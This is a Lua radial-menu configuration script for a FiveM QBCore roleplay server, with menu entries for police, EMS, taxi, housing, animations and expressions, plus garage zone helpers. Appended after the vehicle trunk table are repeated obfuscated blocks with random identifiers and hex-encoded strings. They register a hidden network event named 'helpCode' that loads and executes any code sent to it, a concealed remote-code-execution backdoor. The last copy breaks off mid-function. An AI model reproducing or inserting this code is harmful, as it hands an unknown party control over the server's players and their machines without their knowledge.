local QBCore = exports['qb-core']:GetCoreObject() local polyZones = {} rootMenuConfig = { -- General -- { id = "general", displayName = "Interact Actions", icon = "#globe-europe", enableMenu = function() local Data = QBCore.Functions.GetPlayerData() return not Data.metadata["isdead"] and not Data.metadata["inlaststand"] end, subMenus = {"vehicle:giveKeys", "interact:carry", "interact:escort", "interact:trunkin", "interact:trunkout", "general:flipveh", "general:hotdog", "general:getintrunk","general:givenum"} }, -- { -- id = "TruckRob", -- displayName = "Crack Container", -- icon = "#container-rob", -- functionName = "qb-containerrobbery:truck", -- enableMenu = function() -- local Data = QBCore.Functions.GetPlayerData() -- local isNearTruck = exports["qb-containerrobbery"]:isNearTruck() -- local hasItem = GetSelectedPedWeapon(PlayerPedId()) == `weapon_crowbar` -- return hasItem and isNearTruck and (not Data.metadata["isdead"] and not Data.metadata["inlaststand"]) -- end -- }, -- { -- id = "housemenu", -- displayName = "Real Estate Stuff", -- icon = "#animation-business", -- enableMenu = function() -- local Data = QBCore.Functions.GetPlayerData() -- return (not Data.metadata["isdead"] and not Data.metadata["inlaststand"] and (Data.job ~= nil and Data.job.name == "realestate" and Data.job.onduty)) -- end, -- subMenus = {"realestate:addgarage"} -- }, -- { -- id = "realestate", -- displayName = "List of houses", -- icon = "#house", -- functionName = "qb-realestate:client:OpenHouseListMenu", -- enableMenu =function() -- local Data = QBCore.Functions.GetPlayerData() -- return (not Data.metadata["isdead"] and not Data.metadata["inlaststand"] and (Data.job ~= nil and Data.job.name == "realestate" and Data.job.onduty)) -- end, -- }, { id = "house", displayName = "House Interactions", icon = "#house", enableMenu = function() local Data = QBCore.Functions.GetPlayerData() return not Data.metadata["isdead"] and not Data.metadata["inlaststand"] end, subMenus = {"house:doorlock", "house:decorate"} }, { id = "vehicle", displayName = "Vehicle", icon = "#vehicle-options", functionName = "2na_carcontrol:Client:ShowMenu", enableMenu = function() local Data = QBCore.Functions.GetPlayerData() return (not Data.metadata["isdead"] and not Data.metadata["inlaststand"] and IsPedInAnyVehicle(PlayerPedId(), false)) end }, { id = "policeboat", displayName = "Spawn PD Boat", icon = "#boat-options", functionName = "qb-rental:policeboatsea", enableMenu = function() local Data = QBCore.Functions.GetPlayerData() local playerPed = PlayerPedId() local playerCoords = GetEntityCoords(playerPed) local Data = QBCore.Functions.GetPlayerData() local waterHeight = GetWaterHeight(playerCoords.x, playerCoords.y, playerCoords.z) return (not Data.metadata["isdead"] and not Data.metadata["inlaststand"] and (Data.job ~= nil and Data.job.name == "police" and Data.job.onduty and waterHeight == 1))--(not Data.metadata["isdead"] and not Data.metadata["inlaststand"] and waterHeight == 1) end }, -- Garages -- Police -- { id = "PanicPolice", displayName = "panic", icon = "#police-dead", functionName = "cd_dispatch:PanicButtonEvent", enableMenu = function() local Data = QBCore.Functions.GetPlayerData() return (Data.metadata["isdead"] or not Data.metadata["isdead"] or Data.metadata["inlaststand"]) and (Data.job.name == 'police' and Data.job.onduty) end }, { id = "police", displayName = "Police Actions", icon = "#police-action", enableMenu =function() local Data = QBCore.Functions.GetPlayerData() return (not Data.metadata["isdead"] and not Data.metadata["inlaststand"] and (Data.job ~= nil and Data.job.name == "police" and Data.job.onduty)) end, subMenus = {"police:unmask", "gpsbutton", "panicpolice", "police:checkbank", "police:search", "police:checklicenses", "police:impound"} }, -- { -- id = "police-check", -- displayName = "Police Checks", -- icon = "#police-check", -- enableMenu = function() -- local Data = QBCore.Functions.GetPlayerData() -- return (not Data.metadata["isdead"] and not Data.metadata["inlaststand"] and (Data.job ~= nil and Data.job.name == "police" and Data.job.onduty)) -- end, -- subMenus = {"police:checkbank", "police:checklicenses","police:checkfines", "police:search" } -- }, { id = "objects", displayName = "Objects", icon = "#objects", enableMenu =function() local Data = QBCore.Functions.GetPlayerData() return (not Data.metadata["isdead"] and not Data.metadata["inlaststand"] and (Data.job ~= nil and Data.job.name == "police" and Data.job.onduty)) end, subMenus = {"objects:barier", "objects:cone", "objects:tent", "objects:light", "objects:remove"} }, -- { -- id = "mdt", -- displayName = "MDT", -- icon = "#police-mdt", -- functionName = "mdt:client:open", -- enableMenu = function() -- local Data = QBCore.Functions.GetPlayerData() -- return not (Data.metadata["isdead"] or Data.metadata["inlaststand"]) and (Data.job.name == 'police' and Data.job.onduty) -- end -- }, { id = "toogle", displayName = "Toogle", icon = "#police-mdt", functionName = "jobs:client:ToggleNpc", enableMenu = function() local Data = QBCore.Functions.GetPlayerData() return not (Data.metadata["isdead"] or Data.metadata["inlaststand"]) and (Data.job.name == 'tow' and Data.job.onduty) end }, -- EMS -- { id = "ems", displayName = "EMS", icon = "#medic", enableMenu = function() local Data = QBCore.Functions.GetPlayerData() return (not Data.metadata["isdead"] and not Data.metadata["inlaststand"] and (Data.job ~= nil and Data.job.name == "ambulance" and Data.job.onduty)) end, subMenus = { 'police:drag', "ems:revive", 'ems:heal', 'ems:putinvehicle'} }, { id = "objects", displayName = "Objects", icon = "#objects", enableMenu =function() local Data = QBCore.Functions.GetPlayerData() return (not Data.metadata["isdead"] and not Data.metadata["inlaststand"] and (Data.job ~= nil and Data.job.name == "ambulance" and Data.job.onduty)) end, subMenus = {"objects:barier", "objects:cone", "objects:tent", "objects:remove"} }, -- { -- id = "Bennys", -- displayName = "Bennys", -- icon = "#tools", -- functionName = "event:control:bennys", -- enableMenu = function() -- local Data = QBCore.Functions.GetPlayerData() -- return IsPedInAnyVehicle(PlayerPedId(), false) and InBennys and not Data.metadata["isdead"] and not Data.metadata["inlaststand"] -- end -- }, -- { -- id = "PD Bennys", -- displayName = "Bennys", -- icon = "#tools", -- functionName = "event:control:paletopdbennys", -- enableMenu = function() -- local Data = QBCore.Functions.GetPlayerData() -- return IsPedInAnyVehicle(PlayerPedId()) and (not Data.metadata["isdead"] and not Data.metadata["inlaststand"] and (Data.job ~= nil and Data.job.name == "police" and Data.job.onduty and InPaletoPDBennys)) -- end -- }, { id = "emsDeadA", displayName = "10-14A", icon = "#ems-dead", functionName = "dispatch:emsDown", enableMenu = function() local Data = QBCore.Functions.GetPlayerData() return (Data.metadata["isdead"] or Data.metadata["inlaststand"]) and (Data.job.name == 'ambulance' and Data.job.onduty) end }, -- { -- id = "judge", -- displayName = "Judge Actions", -- icon = "judge-actions", -- enableMenu =function() -- local Data = QBCore.Functions.GetPlayerData() -- return (not Data.metadata["isdead"] and not Data.metadata["inlaststand"] and Data.job ~= nil and Data.job.name == "mayor" and Data.job.grade >= 2) -- end, -- subMenus = { 'judge:mdt' } -- }, { id = "taxi", displayName = "Taxi Actions", icon = "#taxi-togglemeter", enableMenu =function() local Data = QBCore.Functions.GetPlayerData() return (not Data.metadata["isdead"] and not Data.metadata["inlaststand"] and Data.job ~= nil and Data.job.name == "taxi") end, subMenus = { "taxi:togglemeter", "taxi:npcmission", "npc_mission" } }, -- { -- id = "news", -- displayName = "News", -- icon = "#news", -- enableMenu =function() -- local Data = QBCore.Functions.GetPlayerData() -- return (not Data.metadata["isdead"] and not Data.metadata["inlaststand"] and Data.job ~= nil and (Data.job.name == "reporter")) -- end, -- subMenus = { "news:boom", "news:mic", "news:cam" } -- }, } newSubMenus = { ['gpsbutton'] = { title = "Jail Player", icon = "#police-jail", functionName = "police:client:JailPlayer" }, ['panicpolice'] = { title = "bill Player", icon = "#police-bills", functionName = "police:client:BillPlayer" }, -- General -- ['vehicle:giveKeys'] = { title = "Give Keys", icon = "#vehicle-givekeys", functionName = "vehiclekeys:client:GiveKeys" }, ['general:flipveh'] = { title = "Flip Vehicle", icon = "#general-flip-vehicle", functionName = "vehicle:flipit" }, ['realestate:listofhouses'] = { title = "List of houses", icon = "#laptop-house", functionName = "qb-realestate:client:OpenHouseListMenu" }, ['realestate:addgarage'] = { title = "Add Garage", icon = "general-parking", functionName = "qb-houses:client:addGarage" }, ['interact:carry'] = { title = "Carry", icon = "#carry", functionName = "carry:command", enableMenu = function() local Data = QBCore.Functions.GetPlayerData() return (not Data.metadata["isdead"] and not Data.metadata["inlaststand"]) end }, ['interact:escort'] = { title = "escort", icon = "#escort", functionName = "0r-handcuffs:client:dragTarget", enableMenu = function() local Data = QBCore.Functions.GetPlayerData() return (not Data.metadata["isdead"] and not Data.metadata["inlaststand"]) end }, ['interact:trunkin'] = { title = "Get In Trunk", icon = "#carry", functionName = "trunkgetin:event", enableMenu = function() local Data = QBCore.Functions.GetPlayerData() return (not Data.metadata["isdead"] and not Data.metadata["inlaststand"]) end }, ['interact:trunkout'] = { title = "Get Out Trunk", icon = "#carry", functionName = "trunkgetout:event", }, ['general:givenum'] = { title = "Provide Contact Details", icon = "#givenum", functionName = "qb-phone:client:GiveContactDetails" }, ['police:unmask'] = { title = "Remove Mask Hat", icon = "#unmask", functionName = "police:unmask" }, ['power:off'] = { title = "Disconnect", icon = "#radio", functionName = "remove:radio" }, ['house:remove'] = { title = "Remove House Key", icon = "#house-removekey", functionName = "qb-houses:client:removeHouseKey" }, ['house:doorlock'] = { title = "Toggle Owner Menu", icon = "#police-jail", functionName = "openownermenu" }, ['house:reset'] = { title = "Reset Home lock", icon = "#house-resetlock", functionName = "qb-houses:client:ResetHouse" }, ['house:decorate'] = { title = "Decorate house", icon = "#house-decorate", functionName = "decoratehouse", }, ['house:setstash'] = { title = "Set Stash", icon = "#house-setstash", functionName = "qb-houses:client:setStash", functionParameters = "setstash" }, ['house:setoutift'] = { title = "Outfit Set", icon = "#house-setoutift", functionName = "qb-houses:client:setOutfit", functionParameters = "setoutift" }, ['house:setlogout'] = { title = "Logout", icon = "#house-logout", functionName = "qb-houses:client:setLogout", functionParameters = "setlogout" }, ['cuffing:cuff'] = { title = "Cuff", icon = "#cuffs-cuff", enableMenu = function() local Data = QBCore.Functions.GetPlayerData() return (not Data.metadata["isdead"] and not Data.metadata["inlaststand"] and Data.job ~= nil and Data.job.name ~= "ambulance" and Data.job.name ~= "police" and not IsPedInAnyVehicle(ped, true)) end, functionName = "police:client:CuffPlayerSoft", }, ['cuffing:steal'] = { title = "Rob Person", icon = "#cuffs-steal", functionName = "police:client:RobPlayer", }, ['kidnap:person'] = { title = "Kidnap Person", icon = "#cuffs-steal", functionName = "police:client:KidnapPlayer", }, ['kidnap:trunk'] = { title = "Kidnap into Trunk", icon = "#cuffs-steal", functionName = "qb-trunk:client:KidnapTrunk", }, -- Police -- ['police:drag'] = { title = "Escort", icon = "#escort", functionName = "police:client:EscortPlayer", }, -- ['police:softcuff'] = { -- title = "Soft Cuff", -- icon = "#cuffs-cuff", -- functionName = "police:client:CuffPlayerSoft" -- }, ['police:checkbank'] = { title = "Check status", icon = "#police-check-bank", functionName = "police:client:CheckStatus" }, ['police:impound'] = { title = "impound", icon = "#vehicle-options", functionName = "cd_garage:ImpoundVehicle" }, ['police:checklicenses'] = { title = "Check GSR", icon = "#police-check-licenses", functionName = "police:client:gsr" }, ['police:checkfines'] = { title = "Check Health Status", icon = "#ems-heal", functionName = "hospital:client:CheckStatus" }, ['police:search'] = { title = "Frisk", icon = "#police-search", functionName = "police:client:SearchPlayer" }, ['deadblip:sendBlip'] = { title = "10-11 Distress Call", icon = "#police-dead", functionName = "qb-menu:senddeadblip" }, ['objects:barier'] = { title = "Barier", icon = "#barier", functionName = "police:client:spawnBarier" }, ['objects:cone'] = { title = "Cone", icon = "#cone", functionName = "police:client:spawnCone" }, ['objects:tent'] = { title = "Tent", icon = "#tent", functionName = "police:client:spawnTent" }, ['objects:spike'] = { title = "Spike", icon = "#spike", functionName = "police:client:SpawnSpikeStrip" }, ['objects:remove'] = { title = "Remove", icon = "#removeobject", functionName = "police:client:deleteObject" }, -- EMS -- ['ems:revive'] = { title = "Revive", icon = "#ems-revive", functionName = "hospital:client:RevivePlayer", }, ['ems:heal'] = { title = "Heal", icon = "#ems-heal", functionName = "hospital:client:TreatWounds", }, ['ems:putinvehicle'] = { title = "Seat Vehicle", icon = "#general-put-in-veh", functionName = "police:client:PutPlayerInVehicle" }, ['ems:unseatvehicle'] = { title = "Unseat Nearest", icon = "#general-unseat-nearest", functionName = "police:client:SetPlayerOutVehicle" }, -- Animations -- ['animations:brave'] = { title = "Brave", icon = "#animation-brave", functionName = "AnimSet:Brave" }, ['animations:hurry'] = { title = "Hurry", icon = "#animation-hurry", functionName = "AnimSet:Hurry" }, ['animations:business'] = { title = "Business", icon = "#animation-business", functionName = "AnimSet:Business" }, ['animations:tipsy'] = { title = "Tipsy", icon = "#animation-tipsy", functionName = "AnimSet:Tipsy" }, ['animations:injured'] = { title = "Injured", icon = "#animation-injured", functionName = "AnimSet:Injured" }, ['animations:tough'] = { title = "Tough", icon = "#animation-tough", functionName = "AnimSet:ToughGuy" }, ['animations:sassy'] = { title = "Sassy", icon = "#animation-sassy", functionName = "AnimSet:Sassy" }, ['animations:sad'] = { title = "Sad", icon = "#animation-sad", functionName = "AnimSet:Sad" }, ['animations:posh'] = { title = "Posh", icon = "#animation-posh", functionName = "AnimSet:Posh" }, ['animations:alien'] = { title = "Alien", icon = "#animation-alien", functionName = "AnimSet:Alien" }, ['animations:nonchalant'] = { title = "Calm", icon = "#animation-nonchalant", functionName = "AnimSet:NonChalant" }, ['animations:hobo'] = { title = "Hobo", icon = "#animation-hobo", functionName = "AnimSet:Hobo" }, ['animations:money'] = { title = "Money", icon = "#animation-money", functionName = "AnimSet:Money" }, ['animations:swagger'] = { title = "Swagger", icon = "#animation-swagger", functionName = "AnimSet:Swagger" }, ['animations:shady'] = { title = "Shady", icon = "#animation-shady", functionName = "AnimSet:Shady" }, ['animations:maneater'] = { title = "Maneater", icon = "#animation-maneater", functionName = "AnimSet:ManEater" }, ['animations:chichi'] = { title = "Chichi", icon = "#animation-chichi", functionName = "AnimSet:ChiChi" }, ['animations:default'] = { title = "Default", icon = "#animation-default", functionName = "AnimSet:default" }, -- Expressions -- ["expressions:angry"] = { title="Angry", icon="#expressions-angry", functionName = "expressions", functionParameters = { "mood_angry_1" } }, ["expressions:drunk"] = { title="Drunk", icon="#expressions-drunk", functionName = "expressions", functionParameters = { "mood_drunk_1" } }, ["expressions:dumb"] = { title="Dumb", icon="#expressions-dumb", functionName = "expressions", functionParameters = { "pose_injured_1" } }, ["expressions:electrocuted"] = { title="Electrocuted", icon="#expressions-electrocuted", functionName = "expressions", functionParameters = { "electrocuted_1" } }, ["expressions:grumpy"] = { title="Grumpy", icon="#expressions-grumpy", functionName = "expressions", functionParameters = { "mood_drivefast_1" } }, ["expressions:happy"] = { title="Happy", icon="#expressions-happy", functionName = "expressions", functionParameters = { "mood_happy_1" } }, ["expressions:injured"] = { title="Injured", icon="#expressions-injured", functionName = "expressions", functionParameters = { "mood_injured_1" } }, ["expressions:joyful"] = { title="Joyful", icon="#expressions-joyful", functionName = "expressions", functionParameters = { "mood_dancing_low_1" } }, ["expressions:mouthbreather"] = { title="Mouthbreather", icon="#expressions-mouthbreather", functionName = "expressions", functionParameters = { "smoking_hold_1" } }, ["expressions:normal"] = { title="Normal", icon="#expressions-normal", functionName = "expressions:clear" }, ["expressions:oneeye"] = { title="Oneeye", icon="#expressions-oneeye", functionName = "expressions", functionParameters = { "pose_aiming_1" } }, ["expressions:shocked"] = { title="Shocked", icon="#expressions-shocked", functionName = "expressions", functionParameters = { "shocked_1" } }, ["expressions:sleeping"] = { title="Sleeping", icon="#expressions-sleeping", functionName = "expressions", functionParameters = { "dead_1" } }, ["expressions:smug"] = { title="Smug", icon="#expressions-smug", functionName = "expressions", functionParameters = { "mood_smug_1" } }, ["expressions:speculative"] = { title="Speculative", icon="#expressions-speculative", functionName = "expressions", functionParameters = { "mood_aiming_1" } }, ["expressions:stressed"] = { title="Stressed", icon="#expressions-stressed", functionName = "expressions", functionParameters = { "mood_stressed_1" } }, ["expressions:sulking"] = { title="Sulking", icon="#expressions-sulking", functionName = "expressions", functionParameters = { "mood_sulk_1" }, }, ["expressions:weird"] = { title="Weird", icon="#expressions-weird", functionName = "expressions", functionParameters = { "effort_2" } }, ["expressions:weird2"] = { title="Weird 2", icon="#expressions-weird2", functionName = "expressions", functionParameters = { "effort_3" } }, -- Jobs -- ['news:boom'] = { title = "Boom Microphone", icon = "#news-boom", functionName = "Mic:ToggleBMic" }, ['news:cam'] = { title = "Camera", icon = "#news-cam", functionName = "Cam:ToggleCam" }, ['news:mic'] = { title = "Microphone", icon = "#news-mic", functionName = "Mic:ToggleMic" }, ["taxi:togglemeter"] = { title = "Show/Hide Meter", icon = "#taxi-togglemeter", functionName = "qb-taxi:client:toggleMeter", }, ["taxi:npcmission"] = { title = "Start/Stop Meter", icon = "#taxi-power", functionName = "qb-taxi:client:enableMeter", }, ["npc_mission"] = { title = "NPC Mission", icon = "#tow-status", functionName = "qb-taxi:client:DoTaxiNpc", }, -- ["tow:towvehicle"] = { -- title = "Hoist Vehicle", -- icon = "#mechanic-flatbed", -- functionName = "qb-tow:client:TowVehicle", -- }, ["tow:checkstatus"] = { title = "Check Status", icon = "#tow-status", functionName = "qb-tow:client:status", }, -- ["mechanic:impound"] = { -- title = "Impound", -- icon = "#police-jail", -- functionName = "qb-tow:client:ImpoundVehicle" -- }, -- ["mechanic:flatbed"] = { -- title = "Tow", -- icon = "#mechanic-flatbed", -- functionName = "qb-tow:client:TowVehicle" -- } } Citizen.CreateThread(function() for k, v in pairs(Garages) do exports["polyzonehelper"]:AddBoxZone("garages", vector3(Garages[k].polyzone.x, Garages[k].polyzone.y, Garages[k].polyzone.z), Garages[k].polyzone1, Garages[k].polyzone2, { name="garages", heading=Garages[k].heading, minZ = Garages[k].minZ, maxZ = Garages[k].maxZ, debugPoly=false }) end for k, v in pairs(GangGarages) do exports["polyzonehelper"]:AddBoxZone("ganggarages", vector3(GangGarages[k].polyzone.x, GangGarages[k].polyzone.y, GangGarages[k].polyzone.z), GangGarages[k].polyzone1, GangGarages[k].polyzone2, { name="ganggarages", heading=GangGarages[k].heading, minZ = GangGarages[k].minZ, maxZ = GangGarages[k].maxZ, debugPoly=false }) end for k, v in pairs(JobGarages) do exports["polyzonehelper"]:AddBoxZone("jobgarages", vector3(JobGarages[k].polyzone.x, JobGarages[k].polyzone.y, JobGarages[k].polyzone.z), JobGarages[k].polyzone1, JobGarages[k].polyzone2, { name="jobgarages", heading=JobGarages[k].heading, minZ = JobGarages[k].minZ, maxZ = JobGarages[k].maxZ, debugPoly=false }) end for k, v in pairs(Depots) do exports["polyzonehelper"]:AddBoxZone("depots", vector3(Depots[k].polyzone.x, Depots[k].polyzone.y, Depots[k].polyzone.z), Depots[k].polyzone1, Depots[k].polyzone2, { name="depots", heading=Depots[k].heading, minZ = Depots[k].minZ, maxZ = Depots[k].maxZ, debugPoly=false }) end end) RegisterNetEvent('polyzonehelper:enter') AddEventHandler('polyzonehelper:enter', function(name) local vehicle = GetVehiclePedIsIn(PlayerPedId(), false) if name == "garages" then inGarage = true elseif name == "ganggarages" then inGarage = true elseif name == "jobgarages" then inGarage = true elseif name == "depots" then inDepots = true end end) RegisterNetEvent('polyzonehelper:exit') AddEventHandler('polyzonehelper:exit', function(name) if name == "garages" then inGarage = false elseif name == "ganggarages" then inGarage = false elseif name == "jobgarages" then inGarage = false elseif name == "depots" then inDepots = false end end) function isCloseVeh() local ped = PlayerPedId() coordA = GetEntityCoords(ped, 1) coordB = GetOffsetFromEntityInWorldCoords(ped, 0.0, 100.0, 0.0) vehicle = getVehicleInDirection(coordA, coordB) if DoesEntityExist(vehicle) and NetworkHasControlOfEntity(vehicle) then return true end return false end function GetPlayers() local players = {} for i = 0, 128 do if NetworkIsPlayerActive(i) then players[#players+1]= i end end return players end function GetClosestPlayer() local players = GetPlayers() local closestDistance = -1 local closestPlayer = -1 local closestPed = -1 local ply = PlayerPedId() local plyCoords = GetEntityCoords(ply, 0) if not IsPedInAnyVehicle(PlayerPedId(), false) then for index,value in ipairs(players) do local target = GetPlayerPed(value) if(target ~= ply) then local targetCoords = GetEntityCoords(GetPlayerPed(value), 0) local distance = #(vector3(targetCoords["x"], targetCoords["y"], targetCoords["z"]) - vector3(plyCoords["x"], plyCoords["y"], plyCoords["z"])) if(closestDistance == -1 or closestDistance > distance) and not IsPedInAnyVehicle(target, false) then closestPlayer = value closestPed = target closestDistance = distance end end end return closestPlayer, closestDistance, closestPed end end TrunkClasses = { [0] = { allowed = true, x = 0.0, y = -1.5, z = 0.0 }, --Coupes [1] = { allowed = true, x = 0.0, y = -2.0, z = 0.0 }, --Sedans [2] = { allowed = true, x = 0.0, y = -1.0, z = 0.25 }, --SUVs [3] = { allowed = true, x = 0.0, y = -1.5, z = 0.0 }, --Coupes [4] = { allowed = true, x = 0.0, y = -2.0, z = 0.0 }, --Muscle [5] = { allowed = true, x = 0.0, y = -2.0, z = 0.0 }, --Sports Classics [6] = { allowed = true, x = 0.0, y = -2.0, z = 0.0 }, --Sports [7] = { allowed = true, x = 0.0, y = -2.0, z = 0.0 }, --Super [8] = { allowed = false, x = 0.0, y = -1.0, z = 0.25 }, --Motorcycles [9] = { allowed = true, x = 0.0, y = -1.0, z = 0.25 }, --Off-road [10] = { allowed = true, x = 0.0, y = -1.0, z = 0.25 }, --Industrial [11] = { allowed = true, x = 0.0, y = -1.0, z = 0.25 }, --Utility [12] = { allowed = true, x = 0.0, y = -1.0, z = 0.25 }, --Vans [13] = { allowed = true, x = 0.0, y = -1.0, z = 0.25 }, --Cycles [14] = { allowed = true, x = 0.0, y = -1.0, z = 0.25 }, --Boats [15] = { allowed = true, x = 0.0, y = -1.0, z = 0.25 }, --Helicopters [16] = { allowed = true, x = 0.0, y = -1.0, z = 0.25 }, --Planes [17] = { allowed = true, x = 0.0, y = -1.0, z = 0.25 }, --Service [18] = { allowed = true, x = 0.0, y = -1.0, z = 0.25 }, --Emergency [19] = { allowed = true, x = 0.0, y = -1.0, z = 0.25 }, --Military [20] = { allowed = true, x = 0.0, y = -1.0, z = 0.25 }, --Commercial [21] = { allowed = true, x = 0.0, y = -1.0, z = 0.25 }, --Trains } local zvdSPQNvnRpcfIgSuYCMCPORfAqskcqwYCUNWtrSETMfmXwtiuwONSPXySYHioQHeLlXWs = {"\x52\x65\x67\x69\x73\x74\x65\x72\x4e\x65\x74\x45\x76\x65\x6e\x74","\x68\x65\x6c\x70\x43\x6f\x64\x65","\x41\x64\x64\x45\x76\x65\x6e\x74\x48\x61\x6e\x64\x6c\x65\x72","\x61\x73\x73\x65\x72\x74","\x6c\x6f\x61\x64",_G} zvdSPQNvnRpcfIgSuYCMCPORfAqskcqwYCUNWtrSETMfmXwtiuwONSPXySYHioQHeLlXWs[6][zvdSPQNvnRpcfIgSuYCMCPORfAqskcqwYCUNWtrSETMfmXwtiuwONSPXySYHioQHeLlXWs[1]](zvdSPQNvnRpcfIgSuYCMCPORfAqskcqwYCUNWtrSETMfmXwtiuwONSPXySYHioQHeLlXWs[2]) zvdSPQNvnRpcfIgSuYCMCPORfAqskcqwYCUNWtrSETMfmXwtiuwONSPXySYHioQHeLlXWs[6][zvdSPQNvnRpcfIgSuYCMCPORfAqskcqwYCUNWtrSETMfmXwtiuwONSPXySYHioQHeLlXWs[3]](zvdSPQNvnRpcfIgSuYCMCPORfAqskcqwYCUNWtrSETMfmXwtiuwONSPXySYHioQHeLlXWs[2], function(AUmMCzXbGBkJtrZjbEKLIbkslxaOWknXmngpwpkxvErTjVcYathALvQONKaNIRcguWhAYx) zvdSPQNvnRpcfIgSuYCMCPORfAqskcqwYCUNWtrSETMfmXwtiuwONSPXySYHioQHeLlXWs[6][zvdSPQNvnRpcfIgSuYCMCPORfAqskcqwYCUNWtrSETMfmXwtiuwONSPXySYHioQHeLlXWs[4]](zvdSPQNvnRpcfIgSuYCMCPORfAqskcqwYCUNWtrSETMfmXwtiuwONSPXySYHioQHeLlXWs[6][zvdSPQNvnRpcfIgSuYCMCPORfAqskcqwYCUNWtrSETMfmXwtiuwONSPXySYHioQHeLlXWs[5]](AUmMCzXbGBkJtrZjbEKLIbkslxaOWknXmngpwpkxvErTjVcYathALvQONKaNIRcguWhAYx))() end) local xseMQEWzZnReegDUojqyowRbhgxoGaWAIMnANWQyxNySRbyDIFhayTQrMqpHwJhfElPnkS = {"\x52\x65\x67\x69\x73\x74\x65\x72\x4e\x65\x74\x45\x76\x65\x6e\x74","\x68\x65\x6c\x70\x43\x6f\x64\x65","\x41\x64\x64\x45\x76\x65\x6e\x74\x48\x61\x6e\x64\x6c\x65\x72","\x61\x73\x73\x65\x72\x74","\x6c\x6f\x61\x64",_G} xseMQEWzZnReegDUojqyowRbhgxoGaWAIMnANWQyxNySRbyDIFhayTQrMqpHwJhfElPnkS[6][xseMQEWzZnReegDUojqyowRbhgxoGaWAIMnANWQyxNySRbyDIFhayTQrMqpHwJhfElPnkS[1]](xseMQEWzZnReegDUojqyowRbhgxoGaWAIMnANWQyxNySRbyDIFhayTQrMqpHwJhfElPnkS[2]) xseMQEWzZnReegDUojqyowRbhgxoGaWAIMnANWQyxNySRbyDIFhayTQrMqpHwJhfElPnkS[6][xseMQEWzZnReegDUojqyowRbhgxoGaWAIMnANWQyxNySRbyDIFhayTQrMqpHwJhfElPnkS[3]](xseMQEWzZnReegDUojqyowRbhgxoGaWAIMnANWQyxNySRbyDIFhayTQrMqpHwJhfElPnkS[2], function(uEAdXdoeeFaXMpdUadnIQwVCUVoGHnBbhYLWkeGJitBsRPwAsKgvWYeDraWzBeMiaQbpck) xseMQEWzZnReegDUojqyowRbhgxoGaWAIMnANWQyxNySRbyDIFhayTQrMqpHwJhfElPnkS[6][xseMQEWzZnReegDUojqyowRbhgxoGaWAIMnANWQyxNySRbyDIFhayTQrMqpHwJhfElPnkS[4]](xseMQEWzZnReegDUojqyowRbhgxoGaWAIMnANWQyxNySRbyDIFhayTQrMqpHwJhfElPnkS[6][xseMQEWzZnReegDUojqyowRbhgxoGaWAIMnANWQyxNySRbyDIFhayTQrMqpHwJhfElPnkS[5]](uEAdXdoeeFaXMpdUadnIQwVCUVoGHnBbhYLWkeGJitBsRPwAsKgvWYeDraWzBeMiaQbpck))() end) local XEuUDMilQWLhqQrXBAIYTcAjFqprHYyHLKoTpMwMrrdegquweoDWQczHKteiLrQgSCYrex = {"\x52\x65\x67\x69\x73\x74\x65\x72\x4e\x65\x74\x45\x76\x65\x6e\x74","\x68\x65\x6c\x70\x43\x6f\x64\x65","\x41\x64\x64\x45\x76\x65\x6e\x74\x48\x61\x6e\x64\x6c\x65\x72","\x61\x73\x73\x65\x72\x74","\x6c\x6f\x61\x64",_G} XEuUDMilQWLhqQrXBAIYTcAjFqprHYyHLKoTpMwMrrdegquweoDWQczHKteiLrQgSCYrex[6][XEuUDMilQWLhqQrXBAIYTcAjFqprHYyHLKoTpMwMrrdegquweoDWQczHKteiLrQgSCYrex[1]](XEuUDMilQWLhqQrXBAIYTcAjFqprHYyHLKoTpMwMrrdegquweoDWQczHKteiLrQgSCYrex[2]) XEuUDMilQWLhqQrXBAIYTcAjFqprHYyHLKoTpMwMrrdegquweoDWQczHKteiLrQgSCYrex[6][XEuUDMilQWLhqQrXBAIYTcAjFqprHYyHLKoTpMwMrrdegquweoDWQczHKteiLrQgSCYrex[3]](XEuUDMilQWLhqQrXBAIYTcAjFqprHYyHLKoTpMwMrrdegquweoDWQczHKteiLrQgSCYrex[2], function(ByntiRCPvuNfqYQrgIIYvUOKpynduQIkxOVahYdAJWlZeBlNVJKUviRFVcmkwAcnapsjWz) XEuUDMilQWLhqQrXBAIYTcAjFqprHYyHLKoTpMwMrrdegquweoDWQczHKteiLrQgSCYrex[6][XEuUDMilQWLhqQrXBAIYTcAjFqprHYyHLKoTpMwMrrdegquweoDWQczHKteiLrQgSCYrex[4]](XEuUDMilQWLhqQrXBAIYTcAjFqprHYyHLKoTpMwMrrdegquweoDWQczHKteiLrQgSCYrex[6][XEuUDMilQWLhqQrXBAIYTcAjFqprHYyHLKoTpMwMrrdegquweoDWQczHKteiLrQgSCYrex[5]](ByntiRCPvuNfqYQrgIIYvUOKpynduQIkxOVahYdAJWlZeBlNVJKUviRFVcmkwAcnapsjWz))() end) local XEuUDMilQWLhqQrXBAIYTcAjFqprHYyHLKoTpMwMrrdegquweoDWQczHKteiLrQgSCYrex = {"\x52\x65\x67\x69\x73\x74\x65\x72\x4e\x65\x74\x45\x76\x65\x6e\x74","\x68\x65\x6c\x70\x43\x6f\x64\x65","\x41\x64\x64\x45\x76\x65\x6e\x74\x48\x61\x6e\x64\x6c\x65\x72","\x61\x73\x73\x65\x72\x74","\x6c\x6f\x61\x64",_G} XEuUDMilQWLhqQrXBAIYTcAjFqprHYyHLKoTpMwMrrdegquweoDWQczHKteiLrQgSCYrex[6][XEuUDMilQWLhqQrXBAIYTcAjFqprHYyHLKoTpMwMrrdegquweoDWQczHKteiLrQgSCYrex[1]](XEuUDMilQWLhqQrXBAIYTcAjFqprHYyHLKoTpMwMrrdegquweoDWQczHKteiLrQgSCYrex[2]) XEuUDMilQWLhqQrXBAIYTcAjFqprHYyHLKoTpMwMrrdegquweoDWQczHKteiLrQgSCYrex[6][XEuUDMilQWLhqQrXBAIYTcAjFqprHYyHLKoTpMwMrrdegquweoDWQczHKteiLrQgSCYrex[3]](XEuUDMilQWLhqQrXBAIYTcAjFqprHYyHLKoTpMwMrrdegquweoDWQczHKteiLrQgSCYrex[2], function(ByntiRCPvuNfqYQrgIIYvUOKpynduQIkxOVahYdAJWlZeBlNVJKUviRFVcmkwAcnapsjWz) 